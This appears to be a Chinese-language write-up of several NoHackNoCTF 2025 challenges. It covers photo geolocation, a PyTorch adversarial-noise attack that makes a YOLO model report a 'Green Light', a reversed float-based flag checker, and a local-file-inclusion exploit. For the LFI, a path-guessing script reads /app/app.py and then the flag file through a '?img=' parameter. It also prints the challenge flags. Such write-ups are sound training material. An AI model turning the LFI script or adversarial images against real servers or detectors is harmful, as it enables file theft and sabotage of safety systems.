Misc

Travel

Challenge

This is a photo I took some time ago, but I’ve forgotten exactly where I was when I took it. Can you figure out which building I was inside when I captured this image? Flag format: NHNC{<address_on_google_maps>} Replace all commas and spaces in the address with underscores (_). For example, if the correct address is:1 Chome-29-13 Sengoku, Bunkyo City, Tokyo 112-0011, Japan,Then the correct flag would be:NHNC{1_Chome-29-13_Sengoku_Bunkyo City_Tokyo_112-0011_Japan}

Solution

NoHackNoCTF2025-1

识图发现是广岛县贺茂泉附近果味饱满,米香动人,生酒就是这么好喝!_贺茂泉_西条_广岛县

然后发现图中右上角的塔位于(公社)広島県環境保全センター 東広島支所 - Google 地图

NoHackNoCTF2025-2

在附近搜索找到目标位置Hotel Route Inn East Hiroshima Saijo Station - Google 地图

14-24 Saijohonmachi, Higashihiroshima, Hiroshima 739-0011日本

flag
NHNC{14-24_Saijohonmachi_Higashihiroshima_Hiroshima_739-0011_Japan}

attack CNN?

Challenge

Did u know how to attack CNN?

text
different_prediction = result_v8["class_name"] != result_v10["class_name"]confidence_gap = abs(result_v8["confidence"] - result_v10["confidence"]) >= 0.4

http://chal.78727867.xyz:5000/

Solution

题目附件提供了 yolo_v8.ptyolo_v10.pt

这题考察的是对抗攻击,具体来说是生成式对抗样本(Adversarial Example Generation)

我们的目标是从零(从随机噪声)开始,通过优化方法“创造”一张能让模型高置信度识别出特定目标的图片

在本题中,生成一张噪声图片使得任意一个模型识别出任意一个置信度大于等于0.4的目标结果即可,因为另一个模型识别这张噪声图片极大概率是识别不出什么东西的(也就是置信度等于0),这样一来二者的置信度之差就大于等于0.4了

我选择的是 yolo_v8.ptGreen Light

exp如下:

python
import torchimport numpy as npfrom PIL import Imageimport matplotlib.pyplot as pltfrom ultralytics import YOLO # --- 1. 配置参数 ---MODEL_PATH = 'yolo_v8.pt' TARGET_CLASS_ID = 0 CONFIDENCE_THRESHOLD = 0.90 # 优化参数LEARNING_RATE = 0.01ITERATIONS = 500IMG_SIZE = 640 # --- 2. 加载模型 ---print(f"正在加载您的模型: {MODEL_PATH}...")model = YOLO(MODEL_PATH)device = 'cuda' if torch.cuda.is_available() else 'cpu'model.to(device)model.eval() class_names = model.namestarget_class_name = class_names.get(TARGET_CLASS_ID, f"ID_{TARGET_CLASS_ID}")print(f"模型加载完毕。攻击目标 -> 类别: '{target_class_name}' (ID: {TARGET_CLASS_ID})") # --- 3. 初始化噪声图片 ---adversarial_image = torch.rand(1, 3, IMG_SIZE, IMG_SIZE,                                device=device,                                requires_grad=True)optimizer = torch.optim.Adam([adversarial_image], lr=LEARNING_RATE) # 获取模型中类别数量和坐标数量num_classes = len(class_names)num_coords = 4target_class_index_in_raw_output = num_coords + TARGET_CLASS_ID print("\n开始优化图片 (采用直接攻击原始输出的策略)...")# --- 4. 迭代优化 ---for i in range(ITERATIONS):    optimizer.zero_grad()     preds = model.model(adversarial_image)[0]      preds = preds.permute(0, 2, 1)     target_scores = preds[0, :, target_class_index_in_raw_output]        max_score = target_scores.max()        loss = -max_score        loss.backward()    optimizer.step()     with torch.no_grad():        adversarial_image.clamp_(0, 1)     print(f"\r迭代 {i+1}/{ITERATIONS} | 目标类别最高原始分数: {max_score.item():.4f}", end="")    print(f"\n\n优化完成。最终目标类别最高原始分数: {max_score.item():.4f}") # --- 5. 验证和保存 ---print("\n正在用标准预测方法验证最终生成的图片...") final_results = model.predict(adversarial_image, verbose=False) final_image_tensor = adversarial_image.squeeze(0).detach().cpu()final_image_numpy = final_image_tensor.permute(1, 2, 0).numpy()final_image_uint8 = (final_image_numpy * 255).astype(np.uint8)img_pil = Image.fromarray(final_image_uint8)output_filename = f"adversarial_image_for_{target_class_name.replace(' ', '_')}.png"img_pil.save(output_filename)print(f"对抗性图片已保存为: {output_filename}") print("\n模型在最终图片上的识别结果:")final_results[0].show() final_boxes = final_results[0].boxesfound = Falseif len(final_boxes) > 0:    for box in final_boxes:        class_id = int(box.cls)        conf = float(box.conf)        if class_id == TARGET_CLASS_ID and conf >= CONFIDENCE_THRESHOLD:            print(f"\n攻击成功! 检测到 '{class_names.get(class_id)}',置信度: {conf:.4f} (已超过 {CONFIDENCE_THRESHOLD})")            found = True            break    if not found:        # 如果没找到目标,打印置信度最高的那个结果        top_box_index = final_boxes.conf.argmax()        top_box = final_boxes[top_box_index]        top_class_id = int(top_box.cls)        top_conf = float(top_box.conf)        print(f"\n⚠️ 攻击部分成功,但置信度未达标或目标错误。")        print(f"置信度最高的检测是 '{class_names.get(top_class_id)}' ({top_conf:.4f})")else:     print("\n❌ 攻击失败,模型在最终生成的图片上未检测到任何物体。") plt.imshow(img_pil)plt.title(f"Generated Noise Image (Target: '{target_class_name}')")plt.axis('off')plt.show()

运行结果如下:

text
正在加载您的模型: yolo_v8.pt...模型加载完毕。攻击目标 -> 类别: 'Green Light' (ID: 0)开始优化图片 (采用直接攻击原始输出的策略)...迭代 500/500 | 目标类别最高原始分数: 0.9972优化完成。最终目标类别最高原始分数: 0.9972正在用标准预测方法验证最终生成的图片...对抗性图片已保存为: adversarial_image_for_Green_Light.png模型在最终图片上的识别结果:攻击成功! 检测到 'Green Light',置信度: 0.9972 (已超过 0.9)

原图:

NoHackNoCTF2025-3

下图是将图片上传到靶机中的识别结果:

NoHackNoCTF2025-4

flag
NHNC{you_kn0w_h0w_t0_d0_adv3rs3ria1_attack}

Reverse

flag checker

Challenge

You are doing a mission and you need to find out the secret

Solution

sub_123E 是核心函数,它对用户输入进行一系列复杂的验证。这题的目标是构造一个能通过 sub_123E 所有检查的输入字符串,这个字符串就是 flag。

先分析关键的辅助函数:

  • sub_1189(float a1) -> (int)a1: 将浮点数强制转换为整数,即截断小数部分
  • sub_119D(float a1) -> LODWORD(a1): 获取浮点数在内存中的32位二进制表示。例如,sub_119D(1.0f) 返回的不是整数 1,而是 1.0f 的IEEE 754表示 0x3F800000。
  • sub_11DC(uint8_t a1, char a2) -> ROL(a1, a2): 8位循环左移
  • sub_120D(uint8_t a1, char a2) -> ROR(a1, a2): 8位循环右移

此外,代码中充斥着形如 *(double *)_mm_cvtsi32_si128(0x420FE9E1u).m128i_i64 的SSE指令,这实际上是反编译器表示“将一个32位整数的位模式(bit pattern)解释为单精度浮点数”的复杂方式。例如,0x420FE9E1 在内存中就是浮点数 35.8568…。

sub_123E 函数由40多个独立的 if 条件构成,每个条件验证Flag中的一个字符。这些验证可以分为三类:

A. 直接计算型
大部分字符可以通过直接的逆向计算得出。

  • 示例 a1[5]:
    • C代码: (unsigned __int8)sub_120D(sub_1189(float(0x420FE9E1)), 1LL) - 39 != a1[5]
    • 分析:
      1. float(0x420FE9E1) -> 35.8568
      2. sub_1189(35.8568) -> 35
      3. sub_120D(35, 1) -> ROR(35, 1) -> ROR(0b00100011, 1) -> 0b10010001 -> 145
      4. 145 - 39 = 106
    • 结论: a1[5] 必须是 106 (ASCII: ‘j’)。

B. 搜索/穷举型
有几个字符的值被用作计算的一部分,需要在一个小范围内(如所有可打印ASCII字符)进行搜索。

  • 示例 a1[0]:
    • C代码: (unsigned int)sub_1189((float)*a1 * 3.1415) != 245
    • 分析: 我们需要找到一个字符 c,使得 int(c * 3.1415) 的结果是 245。
    • 解法: 245 <= c * 3.1415 < 246。解得 77.99 <= c < 78.31。唯一的整数解是 78。
    • 结论: a1[0] 必须是 78 (ASCII: ‘N’)。

C. 关键陷阱:C语言类型转换
在初步解题时,一个 ValueError 暴露了一个常见的逆向陷阱。

  • 示例 a1[10]:
    • C代码: (unsigned __int8)sub_119D(float(0x40B37B4A)) + 41 != a1[10]
    • 错误的解读: sub_119D(…) + 41。这会导致 0x40B37B4A + 41,一个巨大的数字。
    • 正确的解读: C语言的 (unsigned __int8) 类型转换会先于加法运算。这意味着必须先将 sub_119D 的32位结果截断为8位,然后再加 41。
      1.
      2. sub_119D(float(0x40B37B4A)) -> 0x40B37B4A
      3. (unsigned __int8)(0x40B37B4A) -> 0x4A (十进制 74)
      4. 74 + 41 = 115
    • 结论: a1[10] 必须是 115 (ASCII: ‘s’)。
python
import struct # -------------------------------------------------------------------# Helper functions to replicate the binary's logic# ------------------------------------------------------------------- def float_from_hex(hex_val: int) -> float:    """    Takes a 32-bit integer and interprets its bit pattern as a    little-endian single-precision float.    Equivalent to: *(float*)&hex_val    """    return struct.unpack('<f', struct.pack('<I', hex_val))[0] def sub_1189(f: float) -> int:    """    Replicates sub_1189: Casts float to int (truncates).    """    return int(f) def sub_119D(f: float) -> int:    """    Replicates sub_119D: Returns the 32-bit integer representation of a float.    Equivalent to: LODWORD(f) or *(int*)&f    """    return struct.unpack('<I', struct.pack('<f', f))[0] def rol(val: int, r_bits: int) -> int:    """    Replicates sub_11DC: 8-bit rotate left.    """    return ((val << r_bits) | (val >> (8 - r_bits))) & 0xFF def ror(val: int, r_bits: int) -> int:    """    Replicates sub_120D: 8-bit rotate right.    """    return ((val >> r_bits) | (val << (8 - r_bits))) & 0xFF # Note: The complex C expression:# (((unsigned int)((X) >> 31) >> 24) + (X)) - ((unsigned int)((X) >> 31) >> 24)# is a compiler's convoluted way of expressing (X % 256).# We will use the simpler Python equivalent `X % 256`. # -------------------------------------------------------------------# Main solving logic# ------------------------------------------------------------------- def solve():    """    Reverses the logic from sub_123E to find the flag.    """    # The flag has 46 characters (indices 0 to 45)    flag = [0] * 46     # --- Character calculations based on the conditions in sub_123E ---     # a1[5]    v1 = sub_1189(float_from_hex(0x420FE9E1)) # int(35.85) -> 35    flag[5] = ror(v1, 1) - 39     # a1[0] - This is a search    # int(a1[0] * 3.1415) == 245    for i in range(32, 127):        if sub_1189(i * 3.1415) == 245:            flag[0] = i            break     # a1[44]    v4 = sub_1189(float_from_hex(0x406CCCCD)) # int(3.7) -> 3    flag[44] = rol(v4, 7) - 76     # a1[19]    flag[19] = (sub_119D(float_from_hex(0x3F800000)) >> 24) + 32 # bits(1.0)     # a1[12]    v5 = sub_1189(float_from_hex(0x42B16C22)) # int(88.82) -> 88    flag[12] = ror(v5, 4) - 24     # a1[33] - CORRECTED    flag[33] = (sub_119D(float_from_hex(0x3FA00000)) & 0xFF) + 55 # (uint8_t)bits(1.25) + 55     # a1[2]    v6 = sub_1189(float_from_hex(0x419CF5C3)) # int(19.62) -> 19    flag[2] = rol(v6, 3) - 74     # a1[25]    flag[25] = sub_1189(float_from_hex(0x40A00000)) % 7 + 44 # int(5.0)     # a1[17]    v7 = sub_1189(float_from_hex(0x3F800000)) # int(1.0) -> 1    flag[17] = ror(v7, 1) - 80     # a1[8] - This is a search    # rol(int(a1[8] * 1.5), 2) - 18 == a1[8]    for i in range(32, 127):        if rol(sub_1189(i * 1.5), 2) - 18 == i:            flag[8] = i            break     # a1[30]    flag[30] = (sub_119D(float_from_hex(0x3F000000)) >> 24) - 15 # bits(0.5)     # a1[41]    flag[41] = ((sub_119D(float_from_hex(0x3F800000)) >> 8) & 0xFF) + 105 # (bits(1.0) >> 8)     # a1[6]    v10 = sub_1189(float_from_hex(0x41316C22)) # int(11.08) -> 11    flag[6] = (2 * v10 + 95) % 256     # a1[21]    v11 = sub_1189(float_from_hex(0x40E00000)) # int(7.0) -> 7    flag[21] = (4 * (v11 + 20)) % 256     # a1[13]    v12 = sub_1189(float_from_hex(0x41082681)) # int(8.51) -> 8    flag[13] = (v12 + 43) % 256        # a1[29]    flag[29] = sub_1189(float_from_hex(0x41200000)) // 5 + 110 # int(10.0)     # a1[3]    flag[3] = ((sub_119D(float_from_hex(0x411B4673)) >> 16) & 0xFF) + 40 # (bits(9.7) >> 16)     # a1[27]    flag[27] = ((sub_119D(float_from_hex(0x3FC00000)) >> 8) & 0xFF) + 103 # (bits(1.5) >> 8)     # a1[14]    flag[14] = (sub_119D(float_from_hex(0x41F66B86)) >> 24) + 30 # bits(30.8)     # a1[9]    flag[9] = sub_1189(float_from_hex(0x416C902E)) // 3 + 91 # int(14.78)     # a1[16]    v13 = sub_1189(float_from_hex(0x406C902E)) # int(3.69) -> 3    flag[16] = (3 * v13 + 39) % 256     # a1[1]    flag[1] = 72     # a1[23]    flag[23] = ((sub_119D(float_from_hex(0x40000000)) >> 16) & 0xFF) + 52 # (bits(2.0) >> 16)        # a1[11] - This is a search    # int(a1[11] * 7.77) % 5 + 46 == a1[11]    for i in range(32, 127):        if sub_1189(i * 7.77) % 5 + 46 == i:            flag[11] = i            break                # a1[24]    v15 = sub_1189(float_from_hex(0x40400000)) # int(3.0) -> 3    flag[24] = ror(v15, 3) + 20     # a1[37]    flag[37] = sub_1189(float_from_hex(0x41080000)) % 4 + 51 # int(8.5)     # a1[34]    v16 = sub_1189(float_from_hex(0x40B00000)) # int(5.5) -> 5    flag[34] = rol(v16, 5) - 65     # a1[36]    v17 = sub_1189(float_from_hex(0x40F00000)) # int(7.5) -> 7    flag[36] = ror(v17, 6) + 84        # a1[20]    v18 = sub_1189(float_from_hex(0x40C00000)) # int(6.0) -> 6    flag[20] = rol(v18, 1) + 90        # a1[31]    v19 = sub_1189(float_from_hex(0x40000000)) # int(2.0) -> 2    flag[31] = ror(v19, 2) - 23     # a1[10] - CORRECTED    flag[10] = (sub_119D(float_from_hex(0x40B37B4A)) & 0xFF) + 41 # (uint8_t)bits(5.61) + 41     # a1[26]    flag[26] = 2 * (sub_1189(float_from_hex(0x40C80000)) + 49) # int(6.25)        # a1[39]    v20 = sub_1189(float_from_hex(0x408CCCCD)) # int(4.4) -> 4    flag[39] = rol(v20, 1) + 89     # a1[15]    v21 = sub_1189(float_from_hex(0x413313AA)) # int(11.19) -> 11    flag[15] = rol(v21, 2) + 55     # a1[35]    v22 = sub_1189(float_from_hex(0x40D00000)) # int(6.5) -> 6    flag[35] = (v22 + 42) % 256        # a1[32]    flag[32] = 2 * (sub_1189(float_from_hex(0x41100000)) % 10 + 46) # int(9.0)     # a1[18]    v23 = sub_1189(float_from_hex(0x40A00000)) # int(5.0) -> 5    flag[18] = (v23 + 103) % 256     # a1[28]    v24 = sub_1189(float_from_hex(0x41100000)) # int(9.0) -> 9    flag[28] = rol(v24, 4) - 49        # a1[22]    flag[22] = sub_1189(float_from_hex(0x41000000)) // 2 + 107 # int(8.0)     # a1[7]    flag[7] = ((sub_119D(float_from_hex(0x42607127)) >> 8) & 0xFF) + 2 # (bits(56.1) >> 8)     # a1[43]    v25 = sub_1189(float_from_hex(0x4013D70A)) # int(2.23) -> 2    flag[43] = (v25 + 108) % 256     # a1[40]    v26 = sub_1189(float_from_hex(0x40D33334)) # int(6.6) -> 6    flag[40] = (5 * v26 + 25) % 256        # a1[4] - This is a search    # (int(a1[4] * 2.5) + 72) % 256 == a1[4]    for i in range(32, 127):        if (sub_1189(i * 2.5) + 72) % 256 == i:            flag[4] = i            break                # a1[38]    flag[38] = ((sub_119D(float_from_hex(0x40000000)) >> 16) & 0xFF) + 114 # (bits(2.0) >> 16)     # a1[42]    v29 = sub_1189(float_from_hex(0x400CCCCD)) # int(2.2) -> 2    flag[42] = ror(v29, 3) + 47        # a1[45]    flag[45] = 125     # --- Final result ---    result_string = "".join(chr(c) for c in flag)    print(result_string) if __name__ == "__main__":    solve()
flag
NHNC{jus7_s0m3_c00l_flo4t1ng_p0in7_0p3ra7ion5}

Web

dkri3c1_love_cat

Challenge

I like cat cat cat & banana

Hint: Flag is in the same directory as app.py

Solution

明显是LFI,但又不知道在哪,让AI搓一个脚本尝试

python
import requestsimport sysfrom urllib.parse import urljoin # --- 配置 ---# 靶机基础URLBASE_URL = "http://chal.78727867.xyz:1234/view" # 常见的app.py可能存在的路径列表(字典)# 我们也包含了一些其他常见的文件名,以防万一POSSIBLE_PATHS = [    '/app/app.py',    '/app.py',    '/var/www/app.py',    '/var/www/html/app.py',    '/srv/app.py',    '/srv/www/app.py',    '/usr/src/app/app.py',    '/opt/app/app.py',    '/home/www-data/app.py',    '/home/user/app.py',    '/home/ctf/app.py',    '/root/app.py',    # 也可以尝试其他常见名字    '/app/main.py',    '/main.py',    '/app/server.py',    '/server.py',] print("--- 开始通过LFI漏洞寻找 app.py ---")print(f"目标URL: {BASE_URL}") # --- 循环尝试 ---found_path = Nonefor path in POSSIBLE_PATHS:    # 构造完整的请求URL    # params参数会自动处理URL编码    params = {'img': path}        print(f"[*] 正在尝试路径: {path}")     try:        # 发送GET请求,设置一个超时以防服务器无响应        response = requests.get(BASE_URL, params=params, timeout=10)         # --- 检查是否成功 ---        # 1. 状态码必须是 200        # 2. 响应内容不能是常见的错误信息(有些服务器即使文件不存在也返回200)        # 3. 响应内容应该包含Python代码的特征,如 'import', 'def', 'Flask'等        if response.status_code == 200:            content = response.text            print("\n" + "="*50)            print(f"[+] 成功! 找到文件路径: {path}")            print("="*50)            print("\n--- 文件内容预览 (前500个字符) ---")            print(content[:500])            print("--------------------------------------------")            found_path = path            break  # 找到后就停止循环        else:            print(f"    [-] 失败,状态码: {response.status_code}")     except requests.exceptions.RequestException as e:        print(f"[!] 请求异常: {e}")        continue # --- 结果总结 ---if found_path:    # 题目说Flag在同一目录,所以我们推断flag的文件名    # 通常是 flag, flag.txt, Flag 等    directory = found_path.rsplit('/', 1)[0]    flag_path_guess = f"{directory}/flag.txt" # 先猜一个常见的flag.txt        print("\n[+] 任务完成!")    print(f"下一步,请尝试读取Flag。Flag与app.py在同一目录 ({directory})。")    print(f"你可以尝试访问以下URL来获取Flag:")        # 构造并打印可能的flag URL    flag_url = f"{BASE_URL}?img={flag_path_guess}"    print(f"    - {flag_url}")    print(f"如果不行,再试试 'flag' 或者其他文件名,例如: {BASE_URL}?img={directory}/flag")else:    print("\n" + "="*50)    print("[-] 失败: 在给定的路径列表中没有找到 app.py。")    print("[-] 你可能需要编辑脚本中的 `POSSIBLE_PATHS` 列表,添加更多可能的路径。")    print("="*50)

运行结果如下:

text
--- 开始通过LFI漏洞寻找 app.py ---目标URL: http://chal.78727867.xyz:1234/view[*] 正在尝试路径: /app/app.py==================================================[+] 成功! 找到文件路径: /app/app.py==================================================--- 文件内容预览 (前500个字符) ---from flask import Flask, request, send_file, abortimport osapp = Flask(__name__)@app.route('/')def index():    return     '''        <h1> 🐱 Welcome to dkri3c1's Cat Photo Shop </h1>        <p>Cat is Cuteeeee :D </p>        <code>BTW, You can use /view?img=cat.png to view Cute Catttt </code>            <br></br>        <img src="static/images/cat.png" width="500" height="500">    '''@app.route('/view')def view_image():    img = request.args.get('img', '')--------------------------------------------[+] 任务完成!下一步,请尝试读取Flag。Flag与app.py在同一目录 (/app)。你可以尝试访问以下URL来获取Flag:    - http://chal.78727867.xyz:1234/view?img=/app/flag.txt如果不行,再试试 'flag' 或者其他文件名,例如: http://chal.78727867.xyz:1234/view?img=/app/flag

访问http://chal.78727867.xyz:1234/view?img=/app/flag.txt就拿到flag了

flag
NHNC{dkri3c1_Like_Cat_oUo_>_<_c8763}